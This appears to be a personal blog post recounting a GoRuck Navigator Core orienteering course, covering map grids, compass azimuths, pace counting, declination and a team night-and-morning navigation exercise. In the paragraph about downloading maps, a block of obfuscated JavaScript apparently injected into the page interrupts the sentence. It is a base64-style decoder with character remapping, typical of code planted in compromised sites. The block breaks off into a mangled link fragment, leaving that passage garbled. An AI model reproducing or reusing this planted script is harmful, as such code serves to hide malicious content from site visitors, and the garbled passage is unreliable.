GoRuck has a series of what they call “Gentlemen’s Courses”, which means no logs, burpees or Welcome Parties are involved. The Navigator series includes Core, Z, Constellation, Legacy and Jedburgh. Core is all about orienteering, as explained below and in Part I. The Z is wilderness survival. Legacy puts both together. Constellation is urban survival and Jedburgh simulates a real WW2 mission behind German lines.
We arrived at the Boy Scout camp on two wheels, as we were a little behind schedule. Upon arriving we saw a tent city wrapping around a little cabin. None of us had a clue what to expect, so we all brought the kitchen sink in rucks. I borrowed a 70 liter ruck and had that sucker filled to the brim, fully expecting to carry it through the woods and over mountains the rest of the weekend. As it turns out, we could leave our stuff in the car and just grab what we needed as we needed it. Good thing I brought along my trusty GR1. I quickly unpacked a few essentials for the Nav and got in the group around Cadres Mickey and Chris Way, ready for some Good Livin’.
Cadre Chris explained that you have basically two options when it hits the fan. Either you hunker down, which Nav Z and Constellation teach you how to do. The other option is to bug out, which is where basic orienteering comes into play.
You will need a map, compass, protractor, pencil and notepad. I used a Suunto MC 2D compass, that I bought for $40 from Amazon. There are dozens of suitable compasses to buy. Aside from an easy to read face, having a mirror and sight line come in handy. The protractor should have 1:24,000 scale. I thought my compass had everything that I needed, so I had to borrow somebody's protractor the whole time, which was a pain.
We got right down to work, as Cadre Mickey set about explaining the basics of reading a topo map. Meanwhile, Cadre Chris was totally distracting everybody by making a bow out of a tree limb he found in the woods. It was especially hard to concentrate, because this was really basic info.
After a break we got into some real meat. The cadres gave us an 8 digit grid coordinate, and we had to find it on a map. You can download any function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandardpitrex_prd&layout=6_1_61_48&uiarea=2&ctype=areaDetails&carea=%24ROOT)/.do">map from here. Just make sure you have the right scale. We used 1:24,000. The basic idea is a set of numbers on the top/bottom and left/right sides combine to give you an exact location within 10 meters. Each square represents 10,000m x 10,000m and is designated as two pairs of numbers, such as 16-17 and 23-24. That means go over to the grid column between 16 and 17 and up to the grid row between 23 and 24. The protractor helps you find the exact location, such as 1634 2347, giving you an 8 digit grid coordinate. The cadres gave us a series of 8 digit coordinates to find, normally corresponding to some land feature, such as a mountain peak, spur or valley.
The next step was to find where that point was relative to your current position, in terms of degrees from North. Connecting a line between those two points creates an azimuth, or bearing. Take your compass and lay the long end of it along that line. Use the series of red lines in the face to line up on the orange grid lines running up and down. Those are in the direction of North/South. (The compass needle does not have a purpose at this point, so disregard it for now.) The angle between you and your destination will be at the "12 o'clock" position. Now you rotate the whole compass and your body, around until the compass needle is inside the red box. This is called boxing the needle. Evidently nobody thinks that's a good image to have on Google, or I would attach a hyperlink for you. You should be able to follow that line all the way from your current location to the destination, using your compass to keep you in line.
The next step, quite literally, is to count your steps. Cadre Mickey stretched out a 100m rope, and we all walked along it, counting every time our left leg hit the ground. We went uphill, downhill, in the woods and running, all of which gives you a different pace count. My average count is about 63 paces per 100m. It's vital to keep track of your pace, so you know how far along you are on the azimuth. It is equally important, perhaps more so, to keep an eye on the terrain. If your map says you should be going uphill and you are definitely going downhill, you might be off course.
Before you can strike out on the azimuth, however, you have to reconcile Grid North with Magnetic North. Due to something called declination, those two measurements are off by different degrees, depending on the year and where you happen to be. For our purposes, we had to add 6 degrees to every measurement. If you forget to do this, or subtract instead of add, you're screwed.
Once we had all those lessons down, they gave us a point to go out and find in the real world. That's when the Good Livin' started.
Cadre Mickey asked each person if they wanted a long or a short walk. Being a bonafide badass, I took the 2.8km point. After carefully plotting it on my map, adjusting my compass and boxing the needle, I took off through the woods. I quickly discovered how hard this stuff really is. A couple of other guys had the same point, so we naturally teamed up. Nobody did a lot of talking because we were all counting our paces. After every 100 meters, we would stop and regroup. What became apparent is that I suck at keeping a good pace count. I also tend to drift to the left, like I have low air pressure in my left boot or something. Totally weird. After about 1500m, we hit a river and got all kind of confused. Four more dudes rolled up. They thought the distance traveled was about 1100m. It was a cluster. We all danced around, trying to figure out what to do. Across the river was somebody's private property, and they were there. My 2 buddies and I decided to step off to the left and try to get around the river. The other 3 guys decided to try their luck with the mountain people. I asked them if they liked banjo music. It was obvious they were city people. One of them was a total douche bag. His hair never moved for the entire weekend.
After a few minutes, we met back up with the Gel Pack. They were freaking out because they "almost got attacked by a f@#$ing attack dog." I did see a Great Dane, but he had to be the biggest pushover ever made. From 100m I could tell that dog would lick you to death if anything. He was so docile, you could have poked him in the eye with a stick, and he would have just wagged his tail about the new game you were playing. Slick talked about that dog and his near death experience all weekend. I gave Vickie his phone number.
After being lost for about 2 hours, we shuffled back toward camp. Across the pasture, we spotted Audit. He had that, "I am soooo glad to see you" look about him. We thought we knew where we were and where we were headed. So did Audit. It just happened to be in totally opposite directions for the same destination. We all debated for a while. Creme Rinse struck off with his groupies and my new buddies in tow. Audit was determined to head in the other direction. He didn't know about GelCap, so I had to assume he was lost. It's funny how turned around you can get in the woods. I finally convinced him to head the other way, and within 10 minutes we were back at base camp. It turns out that Audit had missed camp by about 50m to his left, which explains why he was so confident it wasn't in that direction.
Everybody broke for lunch. Linus boiled up some delicious freeze-dried food. It really wasn't bad. He will make a fine wife one day. Audit started some mumblechatter about muddled cucumbers and sugared rims. It was going to be a long day.
The cadres kept adding more complicated scenarios, such as moving from point to point to point. As it approached evening, we began to wonder when this would end. Cadre Chris put our minds at ease when he told us we would be going all night long. What a relief. I thought there would be no suck at all. Bring on the logs!!
The Gel Pack was beginning to fray at the edges of their split ends. Evidently orienteering requires more than a harder-than-kevlar head of pretty hair. One of them broke ranks and asked Cadre to take a hike alone with him in the woods. Not sure whether to applaud this as a way of admitting you need help or to question Cadre's orientation. (See what I did there? Orienteering/orientation)
At about midnight, I came dragging in and saw Audit on the porch. He had that 1000 yard stare and was talking about quitting for the night. I knew we had at least one more op for the evening, so I tried to encourage him to give it another shot. Audit was done. He walked off toward the tent. I told Linus to go give him a pep talk, but Linus decided to shun Audit instead, probably due to something that occurred in their bed the night before. Nobody can know for sure...
A little while later, Cadre Chris came out and told us to come inside the cabin where he gave us another mission. This was a straight bug-out scenario. Get to the railroad/highway intersection as fast as possible and back again. Halfway through the explanation, Audit shows up, looking like he had just spent a long night with Vickie. Getting the cold shoulder from Linus must have worked the magic. We took off together toward the railroad. This was the same destination for me from my last op, so I felt pretty confident how to get there. After about 10-15 minutes in the woods, we ran up on half a dozen other Core pax and formed a train through the woods. Once we arrived, we had the option of going back along the road (easy route) or striking off through the woods (harder route). Linus got a wild hair and decided we needed to do the hard thing, so we took off through the wild, briar-infested jungle for the eleventieth time. We finally got back and crashed on the front porch of the Cadre cabin, hoping they would say we were done for the night. It was 1:30am. We had been orienteering at this point for 16.5 hours. My compass was pointing toward the hammock I strung up.
Cadre came out on the porch and said, "OK, we decided to start the big mission now, instead of in the morning. We have 12 points to find and 3 hours to find it. Let's get going."
Evidently the Core pax had fire pouring out of their eyes, because the Cadre got a look of fear on his face. He quickly backed up and said, "Just kiddin'. We start tomorrow at 0700."
Linus and Audit stole away into their private tent. I was getting worried about them at this point. My plan was to sleep in my Eno hammock. It took me about 15 minutes to figure out how to get in that damn contraption. Once in it, it took me another 30 minutes to try to find a comfortable position. Every time I moved my legs, they would cramp up from hip to toe, which was an exceedingly pleasant feeling. After gator wrestling with the Eno for a couple of hours and shivering to the bone, I finally gave up and took my sleeping bag to the car, where I spent the rest of the 45 minutes shivering and waiting for a reasonable time to get up and start breakfast. Orienteering. Pass. Camping. Fail.
0600 rolled around and I got started on some coffee and plotting points. The Cadre had a list of points to find posted on the wall. Our mission was to locate the points and try to navigate to all of them within a very strict 3 hour window, starting at 0700. Once the coffee started brewing, Linus and Audit emerged from their cuddle time and we got busy plotting a route.
All the other teams left right at 0700. The F3 trio took our time. YHC took the extra time to sneak a shot of bourbon into his coffee. That hit the spot. Once we settled on a route and plot plan, we struck off for our points. It was all casual until we hit the first point, then the game faces came on. It was time to kick some Core ass, F3 Hartsville style. We tore off from each point, covering ground as quickly as possible and still maintaining pace count and direction. YHC would scramble ahead like a bird dog, while Linus and Audit course corrected. At first it was a little uncomfortable, but after a while the shock collar really wasn't that big of a deal.
We had hit 7 points and still had 45 minutes to spare, so we decided to make a run for a spot that was 1150m down the railroad track and back. Audit and Linus gave YHC their GPS trackers that are used to signal our location to the cadre, and I took off like a scalded dog. Halfway back down the track, I see Linus and Audit smoking cigarettes and playing card games on the tracks, like a couple of hobos, so I start waving them on, knowing that I could catch up to them on the road. Time was fading fast, and we couldn't be late. They wouldn't move, however, which really pissed me off. Once I got there, I understood why. They had worked out that we could cross a little creek and get another point on the list, which would give us 9 out of 12 points. 30 minutes left. The Hair Band had already called it quits, probably due to a lack of product in their packs. We nailed the 9th point and took off back down the railroad tracks toward Base Camp. All the GoRuck, Fox, Spartan and other suckfests that we do on a daily basis kicked in. We passed several other groups along the way.
At the end, we were tied for 1st place for the most points covered. Another guy came in at 10:03am with 10 points, but the Cadre said he was disqualified. That was a pretty lame thing to do, so we said he should win. Linus even signed his ruck and agreed to take a picture with him. Audit was a little jealous, but he'll get over it.
Afterwards, we started tapping the beer that Linus had packed in the cooler. We went over to the Nav Z group to watch their endex, which consisted of running 100m, getting water, making fire, boiling the water and hitting a target from 10m with their handmade weapons within 15 minutes. That was cool and definitely on the list for my next adventure.
We all hung around a while, got patched out, cleaned up and then took off for home. Linus got the shaft, because Audit and YHC slept most of the way back home. Evidently nobody got killed.
